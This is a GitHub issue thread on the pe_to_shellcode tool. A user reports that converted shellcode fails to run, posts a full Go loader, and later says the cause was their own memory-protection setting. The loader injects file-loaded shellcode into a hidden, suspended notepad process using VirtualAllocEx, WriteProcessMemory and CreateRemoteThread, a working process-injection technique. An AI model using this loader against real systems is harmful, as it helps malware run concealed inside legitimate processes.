pe_to_shellcode icon indicating copy to clipboard operation
pe_to_shellcode copied to clipboard

Donut works but pe2shc does not

Open Beykir opened this issue 1 year ago • 1 comments

Hello,

Im using the latest windows 10 and pe2shc version and my problem is, i cant get a successfull injection with pe2shc to work.

I have added my sample golang script, which uses createremotethread for injecting. If i do "donut -i calc.exe" and load it with my golang script, calc is popping up. But if i do "pe2shc calc.exe" and load it with my script, nothing happens. If i run the generated file from pe2shc and run it with a double click it works too.

package main

import (
	"fmt"
	"unsafe"
	"syscall"
	"os"
	"bufio"
	"io"

	"golang.org/x/sys/windows"
)

func CreateProcess() *syscall.ProcessInformation{
	var si syscall.StartupInfo
	var pi syscall.ProcessInformation

	commandLine, err := syscall.UTF16PtrFromString(`c:\windows\system32\notepad.exe`)

	if err != nil {
		fmt.Println(err)
	}

	err = syscall.CreateProcess(
		nil,
		commandLine,
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW,
		nil,
		nil,
		&si,
		&pi)

	if err != nil {
		fmt.Println(err)
	}

	return &pi
}

func CreateRemoteThread(shellcode []byte) {

	kernel32 := windows.NewLazySystemDLL("kernel32.dll")
	virtualAllocEx := kernel32.NewProc("VirtualAllocEx")
	virtualProtectEx := kernel32.NewProc("VirtualProtectEx")
	writeProcessMemory := kernel32.NewProc("WriteProcessMemory")
	createRemoteThread := kernel32.NewProc("CreateRemoteThread")
	closeHandle := kernel32.NewProc("CloseHandle")

	pi := CreateProcess()
	oldProtect := windows.PAGE_READWRITE

	lpBaseAddress, _, errVirtualAllocEx := virtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
	if errVirtualAllocEx.Error() != "The operation completed successfully." {
		fmt.Sprintf("Error calling VirtualAllocEx:\r\n%s", errVirtualAllocEx.Error())
	}

	_, _, errWriteProcessMemory := writeProcessMemory.Call(uintptr(pi.Process), lpBaseAddress, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
	if errWriteProcessMemory.Error() != "The operation completed successfully." {
		fmt.Sprintf("Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error())
	}

	_, _, errVirtualProtectEx := virtualProtectEx.Call(uintptr(pi.Process), lpBaseAddress, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
	if errVirtualProtectEx.Error() != "The operation completed successfully." {
		fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error())
	}

	_, _, errCreateRemoteThreadEx := createRemoteThread.Call(uintptr(pi.Process), 0, 0, lpBaseAddress, 0, 0, 0)
	if errCreateRemoteThreadEx.Error() != "The operation completed successfully." {
		fmt.Sprintf("Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error())
	}

	_, _, errCloseHandle := closeHandle.Call(uintptr(pi.Process))
	if errCloseHandle.Error() != "The operation completed successfully." {
		fmt.Sprintf("Error calling CloseHandle:\r\n%s", errCloseHandle.Error())
	}

	fmt.Println("INJECTED!")
}

func main() {
	file, err := os.Open("calc.shc.exe")
	if err != nil {
		fmt.Println(err)
	   	return
	}
	defer file.Close()
 
	// Get the file size
	stat, err := file.Stat()
	if err != nil {
	   fmt.Println(err)
	   return
	}
 
	// Read the file into a byte slice
	shellcode := make([]byte, stat.Size())
	_, err = bufio.NewReader(file).Read(shellcode)
	if err != nil && err != io.EOF {
	   fmt.Println(err)
	   return
	}

	CreateRemoteThread(shellcode)
}

Beykir avatar May 02 '24 17:05 Beykir

Hi! Thank you for reporting, I will check it whenever I get some free time.

hasherezade avatar May 05 '24 19:05 hasherezade

Sorry it was my fault, changed protection to RW instead of RWX

Beykir avatar Jun 09 '24 13:06 Beykir

ok, thank you for the update @Beykir ! I am glad that this is solved :)

hasherezade avatar Jun 12 '24 12:06 hasherezade